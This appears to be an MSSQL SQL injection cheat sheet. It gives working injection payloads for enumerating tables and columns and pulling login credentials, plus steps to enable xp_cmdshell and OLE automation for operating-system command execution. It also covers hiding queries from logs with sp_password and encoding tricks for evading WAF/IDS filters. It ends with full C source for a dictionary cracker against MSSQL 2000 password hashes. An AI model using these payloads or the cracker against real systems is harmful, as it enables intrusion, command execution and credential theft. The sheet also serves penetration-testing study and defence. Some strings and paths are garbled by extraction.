MSSQL
Default Databases
| pubs | Not available on MSSQL 2005 |
| model | Available in all versions |
| msdb | Available in all versions |
| tempdb | Available in all versions |
| northwind | Available in all versions |
| information_schema | Availalble from MSSQL 2000 and higher |
Comment Out Query
The following can be used to comment out the rest of the query after your injection:
| /* | C-style comment |
| -- | SQL comment |
| ;%00 | Nullbyte |
Example:
- SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
- SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';
Testing Version
- @@VERSION
Example:
- True if MSSQL version is 2008.
- SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';
Note:
- Output will also contain the version of the Windows Operating System.
Database Credentials
| Database..Table | master..syslogins, master..sysprocesses |
| Columns | name, loginame |
| Current User | user, system_user, suser_sname(), is_srvrolemember('sysadmin') |
| Database Credentials | SELECT user, password FROM master.dbo.sysxlogins |
Example:
- Return current user:
- SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
- Check if user is admin:
- SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);
Database Names
| Database.Table | master..sysdatabases |
| Column | name |
| Current DB | DB_NAME(i) |
Examples:
- SELECT DB_NAME(5);
- SELECT name FROM master..sysdatabases;
Server Hostname
| @@SERVERNAME |
| SERVERPROPERTY() |
Examples:
- SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');
Note:
- SERVERPROPERTY() is available from MSSQL 2005 and higher.
Tables and Columns
Determining number of columns
ORDER BY n+1;
Example:
Given the query: SELECT username, password, permission FROM Users WHERE id = '1';
| 1' ORDER BY 1-- | True |
| 1' ORDER BY 2-- | True |
| 1' ORDER BY 3-- | True |
| 1' ORDER BY 4-- | False - Query is only using 3 columns |
| -1' UNION SELECT 1,2,3-- | True |
Note:
- Keep incrementing the number until you get a False response.
The following can be used to get the columns in the current query.
GROUP BY / HAVING
Example:
Given the query: SELECT username, password, permission FROM Users WHERE id = '1';
| 1' HAVING 1=1-- | Column 'Users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
| 1' GROUP BY username HAVING 1=1-- | Column 'Users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
| 1' GROUP BY username, password HAVING 1=1-- | Column 'Users.permission' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. |
| 1' GROUP BY username, password, permission HAVING 1=1-- | No Error |
Note:
- No error will be returned once all columns have been included.
Retrieving Tables
We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.
Note:
- Xtype = 'U' is for User-defined tables. You can use 'V' for views.
Retrieving Columns
We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.
Retrieving Multiple Tables/Columns at once
The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.
- Create Temp Table/Column and Insert Data:
- AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
- Dump Content:
- AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
- Delete Table:
- AND 1=0; DROP TABLE TMP_DB;
An easier method is available starting with MSSQL 2005 and higher. The XML function path() works as a concatenator, allowing the retrieval of all tables with 1 query.
| SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') | SQL Server 2005+ |
Note:
- You can encode your query in hex to "obfuscate" your attack.
- ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--
Avoiding the use of quotations
| SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110) |
String Concatenation
| SELECT CONCAT('a','a','a'); (SQL SERVER 2012) |
| SELECT 'a'+'d'+'mi'+'n'; |
Conditional Statements
| IF |
| CASE |
Examples:
- IF 1=1 SELECT 'true' ELSE SELECT 'false';
- SELECT CASE WHEN 1=1 THEN true ELSE false END;
Note:
- IF cannot be used inside a SELECT statement.
Timing
- WAITFOR DELAY 'time_to_pass';
- WAITFOR TIME 'time_to_execute';
Example:
- IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
OPENROWSET Attacks
| SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"'); |
System Command Execution
Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.
- EXEC master.dbo.xp_cmdshell 'cmd';
Starting with version MSSQL 2005 and higher, xp_cmdshell is disabled by default, but can be activated with the following queries:
| EXEC sp_configure 'show advanced options', 1 |
| EXEC sp_configure reconfigure |
| EXEC sp_configure 'xp_cmdshell', 1 |
| EXEC sp_configure reconfigure |
Alternatively, you can create your own procedure to achieve the same results:
| DECLARE @execmd INT |
| EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT |
| EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%system32cmd.exe /c' |
If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command:
| EXEC sp_configure 'show advanced options', 1 |
| EXEC sp_configure reconfigure |
| EXEC sp_configure 'OLE Automation Procedures', 1 |
| EXEC sp_configure reconfigure |
Example:
- Checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the 'dir' command and inserts the results into TMP_DB:
- ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
- Dump Content:
- ' UNION SELECT tbl FROM TMP_DB--
- Delete Table:
- ' DROP TABLE TMP_DB--
SP_PASSWORD (Hiding Query)
Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.
- SP_PASSWORD
Example:
- ' AND 1=1--sp_password
Output:
-- 'sp_password' was found in the text of this event. -- The text has been replaced with this comment for security reasons.
Stacked Queries
MSSQL supports stacked queries.
Example:
- ' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');
Fuzzing and Obfuscation
Allowed Intermediary Characters
The following characters can be used as whitespaces.
| 01 | Start of Heading |
| 02 | Start of Text |
| 03 | End of Text |
| 04 | End of Transmission |
| 05 | Enquiry |
| 06 | Acknowledge |
| 07 | Bell |
| 08 | Backspace |
| 09 | Horizontal Tab |
| 0A | New Line |
| 0B | Vertical Tab |
| 0C | New Page |
| 0D | Carriage Return |
| 0E | Shift Out |
| 0F | Shift In |
| 10 | Data Link Escape |
| 11 | Device Control 1 |
| 12 | Device Control 2 |
| 13 | Device Control 3 |
| 14 | Device Control 4 |
| 15 | Negative Acknowledge |
| 16 | Synchronous Idle |
| 17 | End of Transmission Block |
| 18 | Cancel |
| 19 | End of Medium |
| 1A | Substitute |
| 1B | Escape |
| 1C | File Separator |
| 1D | Group Separator |
| 1E | Record Separator |
| 1F | Unit Separator |
| 20 | Space |
| 25 | % |
Examples:
- S%E%L%E%C%T%01column%02FROM%03table;
- A%%ND 1=%%%%%%%%1;
Note:
- The percentage signs in between keywords is only possible on ASP(x) web applications.
The following characters can be also used to avoid the use of spaces.
| 22 | " |
| 28 | ( |
| 29 | ) |
| 5B | [ |
| 5D | ] |
Examples:
- UNION(SELECT(column)FROM(table));
- SELECT"table_name"FROM[information_schema].[tables];
Allowed Intermediary Characters after AND/OR
| 01 - 20 | Range |
| 21 | ! |
| 2B | + |
| 2D | - |
| 2E | . |
| 5C | |
| 7E | ~ |
Example:
- SELECT 1FROM[table]WHERE1=1AND1=1;
Note:
- The backslash does not seem to work with MSSQL 2000.
Encodings
Encoding your injection can sometimes be useful for WAF/IDS evasion.
| URL Encoding | SELECT %74able_%6eame FROM information_schema.tables; |
| Double URL Encoding | SELECT %2574able_%256eame FROM information_schema.tables; |
| Unicode Encoding | SELECT %u0074able_%u6eame FROM information_schema.tables; |
| Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
| Hex Encoding | ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);-- |
| HTML Entities (Needs to be verified) | %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B |
Password Hashing
Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.
| 0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457 |
Password Cracking
A Metasploit module for JTR can be found here.
MSSQL 2000 Password Cracker
This tool is designed to crack Microsoft SQL Server 2000 passwords.
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "
Length Error!
";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if(argc !=3)
{
printf("
*** SQLCrack ***
");
printf("C:\>%s hash passwd-file
",argv[0]);
printf("David Litchfield (david@ngssoftware.com)
");
printf("24th June 2002
");
return 0;
}
err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf("
There was an error opening the password file %s
",argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf("
%d",wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
{
return printf("
The password hash is too short!
");
}
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf("
Header : %s",pheader);
if(strlen(pheader)!=4)
return printf("%s",lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf("
Rand key : %s",pkey);
if(strlen(pkey)!=8)
return printf("%s",lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf("
Normal : %s",pnorm);
if(strlen(pnorm)!=40)
return printf("%s",lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf("
Upper Case : %s",pucase);
if(strlen(pucase)!=40)
return printf("%s",lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,"%x",&cmp);
}
else
{
return printf("The password hash has an invalid format!
");
}
printf("
Trying...
");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf("FAILLLLLLL!!!");
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf("
End of password file. Didn't find the password.
");
wd++;
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;
wp = &uwttf;
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 8;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf("Error %x during CryptCreatHash!
", GetLastError());
return 0;
}
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf("Error %x during CryptHashData!
", GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{
// We've found the password
printf("
A MATCH!!! Password is %s
",wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}